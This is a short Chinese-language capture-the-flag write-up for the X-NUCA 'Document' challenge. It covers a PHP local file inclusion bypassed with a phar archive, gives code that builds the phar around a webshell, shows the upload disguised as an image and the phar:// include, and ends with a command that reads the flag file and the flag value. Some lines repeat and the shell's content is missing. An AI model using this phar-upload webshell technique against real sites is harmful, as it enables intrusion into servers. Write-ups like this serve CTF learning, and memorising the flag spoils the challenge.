X-NUCA联赛--Document的解题思路
打开主页,显示空白,查看源码
访问include.php
提示参数是file,猜测可以包含文件,直接访问http://218.76.35.74:20129/include.php?file=index,没有变化,再试试http://218.76.35.74:20129/include.php?file=index.php
同样没有变化,查看源码,发现upload.php
访问upload.php。测试上传文件,发现只允许上传图片。
访问upload.php。测试上传文件,发现只允许上传图片。
得到源码,解码后阅读代码
访问upload.php。测试上传文件,发现只允许上传图片。
然后得到upload.php源码。过滤了http、data、ftp、input,可以尝试用phar协议,首先在本地创建一个phar文件,以下是一份创建phar文件的代码。本地创建一个test.php,内容如下:
<?php try{ $p = new Phar(dirname(__FILE__) . "test.phar", 0, 'test.phar'); } catch (UnexpectedValueException $e) { echo $e; die('Could not open my.phar'); } catch (BadMethodCallException $e) { echo 'technically, this cannot happen'; } $p->startBuffering(); $p['1.php'] = file_get_contents('shell.php'); $p->setStub("<?php Phar::mapPhar('myphar.phar'); __HALT_COMPILER();"); $p->stopBuffering(); ?>
然后在本地创建一个shell.php,里面写你想要的代码,我的内容如下:
然后在本地访问test.php,生成phar文件,然后上传上去。
然后访问
http://218.76.35.74:20129/include.php?
file=phar://upload/swe56789olpoiuytrertyuio.jpg/1,传参过去。
在/etc/.sshkey/目录下找到flag.txt,然后执行命令:cat /etc/.sshkey/flag.txt
得到flag为:7F5A58DFC54CFAC9903FE85D92703787